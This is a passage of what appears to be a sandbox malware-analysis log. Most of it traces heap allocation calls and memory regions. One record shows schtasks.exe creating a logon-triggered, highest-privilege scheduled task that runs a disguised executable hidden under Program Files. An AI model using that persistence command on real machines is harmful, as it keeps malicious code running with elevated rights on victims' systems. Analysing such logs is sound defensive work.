() returned 0x3f0000 [0161.747] GetProcessHeap () returned 0x3f0000 [0161.747] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x4059e0) returned 1 [0161.747] GetProcessHeap () returned 0x3f0000 [0161.747] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x4059e0) returned 0x20 [0161.748] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x4059e0 | out: hHeap=0x3f0000) returned 1 [0161.748] GetProcessHeap () returned 0x3f0000 [0161.748] GetProcessHeap () returned 0x3f0000 [0161.748] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405a10) returned 1 [0161.748] GetProcessHeap () returned 0x3f0000 [0161.748] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405a10) returned 0x20 [0161.748] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405a10 | out: hHeap=0x3f0000) returned 1 [0161.748] GetProcessHeap () returned 0x3f0000 [0161.748] GetProcessHeap () returned 0x3f0000 [0161.748] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cb90) returned 1 [0161.748] GetProcessHeap () returned 0x3f0000 [0161.748] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cb90) returned 0x20 [0161.763] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cb90 | out: hHeap=0x3f0000) returned 1 [0161.763] GetProcessHeap () returned 0x3f0000 [0161.763] GetProcessHeap () returned 0x3f0000 [0161.763] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d650) returned 1 [0161.763] GetProcessHeap () returned 0x3f0000 [0161.763] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d650) returned 0xe [0161.763] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d650 | out: hHeap=0x3f0000) returned 1 [0161.763] GetProcessHeap () returned 0x3f0000 [0161.763] GetProcessHeap () returned 0x3f0000 [0161.763] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cbc0) returned 1 [0161.763] GetProcessHeap () returned 0x3f0000 [0161.763] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cbc0) returned 0x20 [0161.764] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cbc0 | out: hHeap=0x3f0000) returned 1 [0161.764] GetProcessHeap () returned 0x3f0000 [0161.764] GetProcessHeap () returned 0x3f0000 [0161.764] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x407aa0) returned 1 [0161.764] GetProcessHeap () returned 0x3f0000 [0161.764] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x407aa0) returned 0x30 [0161.764] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x407aa0 | out: hHeap=0x3f0000) returned 1 [0161.765] GetProcessHeap () returned 0x3f0000 [0161.765] GetProcessHeap () returned 0x3f0000 [0161.765] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cbf0) returned 1 [0161.765] GetProcessHeap () returned 0x3f0000 [0161.765] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cbf0) returned 0x20 [0161.765] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cbf0 | out: hHeap=0x3f0000) returned 1 [0161.765] GetProcessHeap () returned 0x3f0000 [0161.765] GetProcessHeap () returned 0x3f0000 [0161.765] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x407ae0) returned 1 [0161.766] GetProcessHeap () returned 0x3f0000 [0161.766] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x407ae0) returned 0x30 [0161.766] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x407ae0 | out: hHeap=0x3f0000) returned 1 [0161.766] GetProcessHeap () returned 0x3f0000 [0161.766] GetProcessHeap () returned 0x3f0000 [0161.766] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cda0) returned 1 [0161.766] GetProcessHeap () returned 0x3f0000 [0161.766] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cda0) returned 0x20 [0161.767] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cda0 | out: hHeap=0x3f0000) returned 1 [0161.767] GetProcessHeap () returned 0x3f0000 [0161.767] GetProcessHeap () returned 0x3f0000 [0161.767] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d570) returned 1 [0161.767] GetProcessHeap () returned 0x3f0000 [0161.767] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d570) returned 0xe [0161.767] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d570 | out: hHeap=0x3f0000) returned 1 [0161.767] GetProcessHeap () returned 0x3f0000 [0161.767] GetProcessHeap () returned 0x3f0000 [0161.767] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd70) returned 1 [0161.767] GetProcessHeap () returned 0x3f0000 [0161.767] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cd70) returned 0x20 [0161.768] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd70 | out: hHeap=0x3f0000) returned 1 [0161.768] GetProcessHeap () returned 0x3f0000 [0161.768] GetProcessHeap () returned 0x3f0000 [0161.768] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d590) returned 1 [0161.768] GetProcessHeap () returned 0x3f0000 [0161.768] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d590) returned 0x16 [0161.768] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d590 | out: hHeap=0x3f0000) returned 1 [0161.768] GetProcessHeap () returned 0x3f0000 [0161.768] GetProcessHeap () returned 0x3f0000 [0161.768] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd40) returned 1 [0161.768] GetProcessHeap () returned 0x3f0000 [0161.768] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cd40) returned 0x20 [0161.768] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd40 | out: hHeap=0x3f0000) returned 1 [0161.768] GetProcessHeap () returned 0x3f0000 [0161.768] GetProcessHeap () returned 0x3f0000 [0161.768] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d5b0) returned 1 [0161.768] GetProcessHeap () returned 0x3f0000 [0161.768] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d5b0) returned 0x16 [0161.768] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d5b0 | out: hHeap=0x3f0000) returned 1 [0161.769] GetProcessHeap () returned 0x3f0000 [0161.769] GetProcessHeap () returned 0x3f0000 [0161.769] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd10) returned 1 [0161.769] GetProcessHeap () returned 0x3f0000 [0161.769] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cd10) returned 0x20 [0161.769] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cd10 | out: hHeap=0x3f0000) returned 1 [0161.769] GetProcessHeap () returned 0x3f0000 [0161.769] GetProcessHeap () returned 0x3f0000 [0161.769] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x429c30) returned 1 [0161.769] GetProcessHeap () returned 0x3f0000 [0161.769] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x429c30) returned 0x82 [0161.770] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x429c30 | out: hHeap=0x3f0000) returned 1 [0161.770] GetProcessHeap () returned 0x3f0000 [0161.770] GetProcessHeap () returned 0x3f0000 [0161.770] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cce0) returned 1 [0161.770] GetProcessHeap () returned 0x3f0000 [0161.770] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cce0) returned 0x20 [0161.770] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cce0 | out: hHeap=0x3f0000) returned 1 [0161.770] GetProcessHeap () returned 0x3f0000 [0161.770] GetProcessHeap () returned 0x3f0000 [0161.770] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d5f0) returned 1 [0161.770] GetProcessHeap () returned 0x3f0000 [0161.770] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d5f0) returned 0xe [0161.770] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d5f0 | out: hHeap=0x3f0000) returned 1 [0161.770] GetProcessHeap () returned 0x3f0000 [0161.770] GetProcessHeap () returned 0x3f0000 [0161.770] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ccb0) returned 1 [0161.770] GetProcessHeap () returned 0x3f0000 [0161.770] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40ccb0) returned 0x20 [0161.771] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ccb0 | out: hHeap=0x3f0000) returned 1 [0161.771] GetProcessHeap () returned 0x3f0000 [0161.771] GetProcessHeap () returned 0x3f0000 [0161.771] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d610) returned 1 [0161.771] GetProcessHeap () returned 0x3f0000 [0161.771] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d610) returned 0xa [0161.771] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d610 | out: hHeap=0x3f0000) returned 1 [0161.771] GetProcessHeap () returned 0x3f0000 [0161.771] GetProcessHeap () returned 0x3f0000 [0161.771] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cc80) returned 1 [0161.771] GetProcessHeap () returned 0x3f0000 [0161.771] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cc80) returned 0x20 [0161.771] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cc80 | out: hHeap=0x3f0000) returned 1 [0161.772] GetProcessHeap () returned 0x3f0000 [0161.772] GetProcessHeap () returned 0x3f0000 [0161.772] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d630) returned 1 [0161.772] GetProcessHeap () returned 0x3f0000 [0161.772] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d630) returned 0xc [0161.772] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d630 | out: hHeap=0x3f0000) returned 1 [0161.772] GetProcessHeap () returned 0x3f0000 [0161.772] GetProcessHeap () returned 0x3f0000 [0161.772] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cc50) returned 1 [0161.772] GetProcessHeap () returned 0x3f0000 [0161.772] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cc50) returned 0x20 [0161.772] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cc50 | out: hHeap=0x3f0000) returned 1 [0161.772] GetProcessHeap () returned 0x3f0000 [0161.772] GetProcessHeap () returned 0x3f0000 [0161.772] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ba40) returned 1 [0161.772] GetProcessHeap () returned 0x3f0000 [0161.772] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40ba40) returned 0x18 [0161.772] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ba40 | out: hHeap=0x3f0000) returned 1 [0161.772] GetProcessHeap () returned 0x3f0000 [0161.772] GetProcessHeap () returned 0x3f0000 [0161.772] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405a40) returned 1 [0161.772] GetProcessHeap () returned 0x3f0000 [0161.773] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405a40) returned 0x20 [0161.773] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405a40 | out: hHeap=0x3f0000) returned 1 [0161.773] GetProcessHeap () returned 0x3f0000 [0161.773] GetProcessHeap () returned 0x3f0000 [0161.773] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405a70) returned 1 [0161.773] GetProcessHeap () returned 0x3f0000 [0161.773] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405a70) returned 0x20 [0161.773] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405a70 | out: hHeap=0x3f0000) returned 1 [0161.773] GetProcessHeap () returned 0x3f0000 [0161.773] GetProcessHeap () returned 0x3f0000 [0161.773] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405aa0) returned 1 [0161.773] GetProcessHeap () returned 0x3f0000 [0161.773] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405aa0) returned 0x20 [0161.774] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405aa0 | out: hHeap=0x3f0000) returned 1 [0161.774] GetProcessHeap () returned 0x3f0000 [0161.774] GetProcessHeap () returned 0x3f0000 [0161.774] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405ad0) returned 1 [0161.774] GetProcessHeap () returned 0x3f0000 [0161.774] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405ad0) returned 0x20 [0161.774] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405ad0 | out: hHeap=0x3f0000) returned 1 [0161.774] GetProcessHeap () returned 0x3f0000 [0161.774] GetProcessHeap () returned 0x3f0000 [0161.774] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ba60) returned 1 [0161.774] GetProcessHeap () returned 0x3f0000 [0161.774] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40ba60) returned 0x18 [0161.774] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ba60 | out: hHeap=0x3f0000) returned 1 [0161.774] GetProcessHeap () returned 0x3f0000 [0161.774] GetProcessHeap () returned 0x3f0000 [0161.774] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405b00) returned 1 [0161.774] GetProcessHeap () returned 0x3f0000 [0161.774] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405b00) returned 0x20 [0161.775] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405b00 | out: hHeap=0x3f0000) returned 1 [0161.775] GetProcessHeap () returned 0x3f0000 [0161.775] GetProcessHeap () returned 0x3f0000 [0161.775] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405b90) returned 1 [0161.775] GetProcessHeap () returned 0x3f0000 [0161.775] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405b90) returned 0x20 [0161.775] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405b90 | out: hHeap=0x3f0000) returned 1 [0161.775] GetProcessHeap () returned 0x3f0000 [0161.775] GetProcessHeap () returned 0x3f0000 [0161.775] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405bf0) returned 1 [0161.775] GetProcessHeap () returned 0x3f0000 [0161.775] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405bf0) returned 0x20 [0161.776] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405bf0 | out: hHeap=0x3f0000) returned 1 [0161.776] GetProcessHeap () returned 0x3f0000 [0161.776] GetProcessHeap () returned 0x3f0000 [0161.776] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405c50) returned 1 [0161.776] GetProcessHeap () returned 0x3f0000 [0161.776] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405c50) returned 0x20 [0161.776] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405c50 | out: hHeap=0x3f0000) returned 1 [0161.776] GetProcessHeap () returned 0x3f0000 [0161.776] GetProcessHeap () returned 0x3f0000 [0161.776] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405c80) returned 1 [0161.776] GetProcessHeap () returned 0x3f0000 [0161.776] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405c80) returned 0x20 [0161.776] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405c80 | out: hHeap=0x3f0000) returned 1 [0161.777] GetProcessHeap () returned 0x3f0000 [0161.777] GetProcessHeap () returned 0x3f0000 [0161.777] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ba80) returned 1 [0161.777] GetProcessHeap () returned 0x3f0000 [0161.777] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40ba80) returned 0x18 [0161.777] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ba80 | out: hHeap=0x3f0000) returned 1 [0161.777] GetProcessHeap () returned 0x3f0000 [0161.777] GetProcessHeap () returned 0x3f0000 [0161.777] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405bc0) returned 1 [0161.777] GetProcessHeap () returned 0x3f0000 [0161.777] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405bc0) returned 0x20 [0161.777] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405bc0 | out: hHeap=0x3f0000) returned 1 [0161.777] GetProcessHeap () returned 0x3f0000 [0161.777] GetProcessHeap () returned 0x3f0000 [0161.777] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ba00) returned 1 [0161.777] GetProcessHeap () returned 0x3f0000 [0161.777] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40ba00) returned 0x18 [0161.777] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ba00 | out: hHeap=0x3f0000) returned 1 [0161.777] exit (_Code=0) Thread: id = 213 os_tid = 0x910 Process: id = "61" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x4013e000" os_pid = "0x914" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"yardadultbehind\" /sc ONLOGON /tr \"'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4592 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4593 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4594 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4595 start_va = 0x80000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 4596 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4597 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4598 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4599 start_va = 0xff450000 end_va = 0xff497fff monitored = 1 entry_point = 0xff47966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4600 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4601 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4602 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 4603 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4604 start_va = 0x100000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 4605 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4606 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4607 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4608 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4609 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4610 start_va = 0x240000 end_va = 0x2a6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4611 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4612 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4613 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4614 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4615 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4616 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4617 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4618 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4619 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4620 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4621 start_va = 0x2b0000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 4622 start_va = 0x2b0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 4623 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 4624 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4625 start_va = 0x4a0000 end_va = 0x627fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 4626 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4627 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4628 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4629 start_va = 0x630000 end_va = 0x7b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 4630 start_va = 0x7c0000 end_va = 0x1bbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 4631 start_va = 0x50000 end_va = 0x61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4632 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4633 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 4634 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4635 start_va = 0x1bc0000 end_va = 0x1e8efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4636 start_va = 0x3b0000 end_va = 0x42cfff monitored = 0 entry_point = 0x3bcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4637 start_va = 0x3b0000 end_va = 0x42cfff monitored = 0 entry_point = 0x3bcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4638 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4639 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = 